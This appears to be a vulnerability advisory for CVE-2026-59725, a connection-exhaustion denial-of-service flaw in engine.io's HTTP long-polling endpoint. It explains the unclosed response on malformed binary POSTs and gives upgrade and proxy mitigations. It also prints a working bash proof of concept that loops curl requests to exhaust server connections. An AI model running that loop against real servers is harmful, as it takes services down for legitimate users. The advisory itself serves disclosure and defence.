high · 7.5CVE-2026-59725Jul 20, 2026

CVE-2026-59725: engine.io Polling Transport Connection Exhaustion (DoS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An unauthenticated attacker can exhaust all server-side HTTP connections in Socket.IO servers by repeatedly sending malformed binary POST requests to the Engine.IO polling endpoint, because the…

Packageengine.io
Ecosystemnpm
Affected>= 4.1.0, < 6.6.7
Fixed in6.6.7

The problem

Engine.IO versions >= 4.1.0 and < 6.6.7 expose an HTTP long-polling endpoint that handles EIO=4 binary POST requests. When a POST arrives with Content-Type: application/octet-stream carrying an invalid binary body, the server internally calls its error handler but never writes or closes the HTTP response.

The underlying TCP socket therefore stays open indefinitely. An attacker who repeats this across many sessions can exhaust file descriptors, sockets, or connection-table slots, producing a full denial of service for legitimate clients.

Proof of concept

A working proof-of-concept for CVE-2026-59725 in engine.io, with the exact payload below.

bash
# Step 1: open a polling session and grab the sid
curl -s 'http://target/socket.io/?EIO=4&transport=polling'
# => returns JSON with "sid":"<SID>"

# Step 2: send an invalid binary POST (repeat in a tight loop to exhaust connections)
curl -s -X POST \
  'http://target/socket.io/?EIO=4&transport=polling&sid=<SID>' \
  -H 'Content-Type: application/octet-stream' \
  --data-binary $'\x00\x01\x02\x03' &

# Automating exhaustion (bash)
for i in $(seq 1 5000); do
  SID=$(curl -s 'http://target/socket.io/?EIO=4&transport=polling' | grep -oP '(?<="sid":")[^"]+');
  curl -s -X POST \
    "http://target/socket.io/?EIO=4&transport=polling&sid=$SID" \
    -H 'Content-Type: application/octet-stream' \
    --data-binary $'\x00\x01\x02\x03' &
done

In the vulnerable code path inside lib/transports/polling.ts, when the server detects an invalid binary body on an EIO=4 POST (isBinary === true but the payload fails decoding), it calls this.onError('bad request') and returns early, but never calls res.end() or destroys the socket.

The HTTP response therefore remains in a half-open state, keeping the underlying TCP connection alive and consuming a file descriptor.

The fix in commit fc11285e adds an explicit res.end() (and equivalent socket cleanup) in the binary-POST error branch, so the connection is immediately released. CWE-400 (Improper Resource Shutdown or Release) is the root cause: resources are allocated on every request but not freed on this specific error path.

The fix

Upgrade to engine.io >= 6.6.7 (npm install engine.io@^6.6.7). If you use Socket.IO, upgrade to the Socket.IO release that pulls in engine.io 6.6.7 or later.

If an immediate upgrade is not possible: block polling POST requests with Content-Type: application/octet-stream at your reverse proxy or WAF, or disable HTTP long-polling entirely with transports: ['websocket'] in your Socket.IO server config.

Reporter not attributed.

References: [1][2][3][4][5]

Related research